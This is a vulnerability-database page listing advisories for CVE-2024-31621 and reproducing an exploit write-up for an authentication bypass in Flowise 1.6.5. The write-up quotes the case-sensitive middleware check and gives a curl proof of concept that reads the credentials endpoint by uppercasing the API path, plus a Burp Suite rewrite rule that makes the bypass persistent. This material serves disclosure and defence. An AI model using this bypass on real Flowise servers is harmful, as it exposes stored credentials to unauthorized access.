| Reporter | Title | Published | Views | Family All 15 |
|---|---|---|---|---|
| Flowise 1.6.5 - Authentication Bypass Vulnerability | 21 Apr 202400:00 | – | zdt | |
| CVE-2024-31621 | 2 May 202420:57 | – | circl | |
| Flowise 安全漏洞 | 21 Apr 202400:00 | – | cnnvd | |
| CVE-2024-31621 | 29 Apr 202400:00 | – | cve | |
| CVE-2024-31621 | 29 Apr 202400:00 | – | cvelist | |
| Flowise vulnerable to code injection via api/v1 | 29 Apr 202418:30 | – | github | |
| Flowise 1.6.5 - Authentication Bypass | 5 Jun 202603:02 | – | nuclei | |
| CVE-2024-31621 | 29 Apr 202417:15 | – | nvd | |
| GHSA-6WP6-22X5-RR3W Flowise vulnerable to code injection via api/v1 | 29 Apr 202418:30 | – | osv | |
| Flowise 1.6.5 Authentication Bypass | 19 Apr 202400:00 | – | packetstorm |
# Exploit Title: Flowise 1.6.5 - Authentication Bypass
# Date: 17-April-2024
# Exploit Author: Maerifat Majeed
# Vendor Homepage: https://flowiseai.com/
# Software Link: https://github.com/FlowiseAI/Flowise/releases
# Version: 1.6.5
# Tested on: mac-os
# CVE : CVE-2024-31621
The flowise version <= 1.6.5 is vulnerable to authentication bypass
vulnerability.
The code snippet
this.app.use((req, res, next) => {
> if (req.url.includes('/api/v1/')) {
> whitelistURLs.some((url) => req.url.includes(url)) ?
> next() : basicAuthMiddleware(req, res, next)
> } else next()
> })
puts authentication middleware for all the endpoints with path /api/v1
except a few whitelisted endpoints. But the code does check for the case
sensitivity hence only checks for lowercase /api/v1 . Anyone modifying the
endpoints to uppercase like /API/V1 can bypass the authentication.
*POC:*
curl http://localhost:3000/Api/v1/credentials
For seamless authentication bypass. Use burpsuite feature Match and replace
rules in proxy settings. Add rule Request first line api/v1 ==> API/V1Data
Build on a solid foundation with Vulners data
We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data
Api
Power your application with Vulners API
The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access
App
Assess and manage vulnerabilities with Vulners tools
Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation